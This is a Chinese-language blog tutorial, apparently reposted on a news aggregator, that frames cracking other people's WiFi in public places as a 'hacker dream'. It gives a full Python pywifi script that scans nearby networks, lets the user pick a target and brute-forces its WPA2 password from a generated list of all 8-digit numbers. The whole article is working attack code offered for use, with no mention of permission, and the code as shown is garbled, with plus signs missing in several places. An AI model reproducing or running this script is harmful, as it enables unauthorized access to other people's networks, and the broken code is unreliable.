首页
/
每日頭條
/
圖文
/
我成為黑客
我成為黑客
更新时间:2024-11-16 07:48:02

WiFi破解應該是我們每個人都有的黑客夢,在某個公共區域,打開電腦,宛如黑客帝國裡的操作一樣,真帥,哈哈

首先假如WiFi密碼是8位數,

1、首先我們需要生成一個密碼本來記錄所有的可能的熱點密碼,這個密碼本中,需要列舉所有的密碼的可能性;

2、然後,用 Python 進行自動化的測試密碼直到連接成功為止。

一、代碼實現1、生成密碼本

密碼本的生成其實比較的簡單了啦。

思路其實就是對8個位置循環生成0,1。。。。。9的數字。

具體的代碼如下:(8個循環嵌套)

import os file_name = "making_pwd.txt" f = open(file_name, "w ") # 打開文件 for i in range(10): # 第一層循環 for j in range(10): # 第二層循環 for k in range(10): # 第三層循環 for q in range(10): # 第四層循環 for m in range(10): # 第五層循環 for n in range(10): # 第六層循環 for o in range(10): # 第七層循環 for p in range(10): # 第八層循環 insert_str = str(i) str(j) str(k) str(q) \ str(m) str(n) str(o) str(p) # 數據的拼接以及數據類型的轉換。 print(insert_str) f.write(insert_str) # 寫入密碼 f.write("\n") # 一個密碼換一次行 f.close() # 關閉文件 print("一個密碼本生成完畢了!")

核心代碼就是這個循環嵌套,本質也是十分簡單的啦:

下面再展示一遍核心代碼

file_name = "making_pwd.txt" f = open(file_name, "w ") # 打開文件 for i in range(10): # 第一層循環 for j in range(10): # 第二層循環 for k in range(10): # 第三層循環 for q in range(10): # 第四層循環 for m in range(10): # 第五層循環 for n in range(10): # 第六層循環 for o in range(10): # 第七層循環 for p in range(10): # 第八層循環 insert_str = str(i) str(j) str(k) str(q) \ str(m) str(n) str(o) str(p) # 數據的拼接以及數據類型的轉換。 print(insert_str) f.write(insert_str) # 寫入密碼 f.write("\n") # 一個密碼換一次行 f.close()

這樣生成的文件比較大,但是也沒有辦法了:

我成為黑客(完成你的黑客夢)1

2、利用密碼本進行自動化的測試

首先說一句,我們需要安裝 pywifi 這個模塊,沒有這個模塊的小夥伴可以先安裝一下。

然後,我們呢,直接上完整的全部的代碼,代碼的解析在注釋裡面都有,注釋有詳細的代碼解釋:

import pywifi import time from pywifi import const # 導入模塊 # WiFi掃描模塊 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() # 顯示掃描的信息。 for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' str(3 - i), end=')') print('\r掃描完成!\n' '-' * 38) print('\r{:4}{:6}{}'.format('編号', '信号強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num = 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI破解模塊 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍曆密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處于連接狀态時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 删除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀态為4代表連接成功(當嘗試時間大于1.5秒之後則為錯誤密碼,經測試測正确密碼一般都在1.5秒内連接,若要提高準确性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='') # 主函數 def main(): # 退出标緻 exit_flag = 0 # 目标編号 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編号,并對用戶輸入的編号進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編号在列表内,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次确認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},确定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,并判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('隻能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e if __name__ == '__main__': # main 函數 進行一個測試 main()

這裡需要注意下,我們需要手動選擇密碼本來進行測試,手動選擇密碼本!!

下面我們分模塊進行展示與解說:

導入模塊:

import pywifi import time from pywifi import const # 導入模塊

這個是定義的使用的掃描WiFi的一個方法,這個方法實現的功能是掃描局域網範圍内部的所有可以連接的WiFi,然後打印出來:

# WiFi掃描模塊 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() # 顯示掃描的信息。 for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' str(3 - i), end=')') print('\r掃描完成!\n' '-' * 38) print('\r{:4}{:6}{}'.format('編号', '信号強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num = 1 print('-' * 38) # 返回wifi列表 return wifi_name_list

這個是使用密碼本來進行密碼的自動化測試的函數:

# WIFI破解模塊 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍曆密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處于連接狀态時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 删除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀态為4代表連接成功(當嘗試時間大于1.5秒之後則為錯誤密碼,經測試測正确密碼一般都在1.5秒内連接,若要提高準确性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')

這個函數是進行實際的操作來實現我們所想要的功能。

# 主函數 def main(): # 退出标緻 exit_flag = 0 # 目标編号 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編号,并對用戶輸入的編号進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編号在列表内,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次确認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},确定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,并判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('隻能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e

執行代碼的一個接口:

if __name__ == '__main__': # main 函數 進行一個測試 main()

3、結果展示

我成為黑客(完成你的黑客夢)2

四、後續總結

以上呢,就是我們的使用 Python 工具 Pycharm 來進行破解WiFi的密碼的一個案例的介紹,這種方式比較傻瓜式而且暴力,遇到複雜的密碼可能就不行了,耗時太多。

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
紫外線過敏可以做什麼美膚
紫外線過敏可以做什麼美膚
作者美鬥:希望你們都更美的醫生,上海交通大學皮膚病學碩士、醫學美容醫生大家好,我是一邊叮囑别人注意防曬,一邊用激光和光子去美容的美鬥。但凡提到護膚,絕對離不開防曬。不過,大家有沒有想過這些問題:為什麼又要防曬,又要花錢用「光」來美容?醫美常...
2024-11-16
氣候變化重塑拉尼娜
氣候變化重塑拉尼娜
11月27日,記者從國家氣候中心獲悉,根據最新海溫監測數據,赤道中東太平洋已進入拉尼娜狀态,預計冬季可能形成一次弱至中等強度的拉尼娜事件。拉尼娜是指發生在赤道中東太平洋海表溫度大範圍持續異常偏冷的現象,它會引起地球氣候的異常。依據《厄爾尼諾...
2024-11-16
跳繩最多堅持能跳多長時間
跳繩最多堅持能跳多長時間
跳繩是一項簡單易行的大衆健身運動,一根繩,随時随地能跳起來。在跳躍的過程中全身的肌肉都會緊張起來,配合雙手的擺動,鍛煉到手臂、臀部以及腿部的肌肉,從運動量來說,持續跳繩10分鐘,與慢跑30分鐘或跳健身舞20分鐘相差無幾,減脂效果顯着。但跳繩...
2024-11-16
林允推薦護膚霜
林允推薦護膚霜
和大家說了很多次,防曬工作全年都不能掉以輕心啊~~紫外線會造成皮膚損傷,剛開始可能不明顯。長期下去,皮膚會幹燥枯黃,失去彈性,生成難以治愈的日曬斑、皺紋等,提前衰老。特别是接下來夏季快到了,紫外線逐漸變強,還有勇氣“裸奔”嗎?這時候,要選用...
2024-11-16
可可西裡地球球花
可可西裡地球球花
提起“傾國傾城的美貌”,你會想起誰呢?在古代,有四大美女——西施,貂蟬,王昭君和楊玉環。在如今娛樂圈,也有不少被稱為神顔的女明星們。不過,最經典的還是上個世紀八九十年代的美人們,不僅美得驚心動魄,還各具特色。比如,被稱為“亞洲洲花”的林青霞...
2024-11-16
Copyright 2023-2024 - www.tftnews.com All Rights Reserved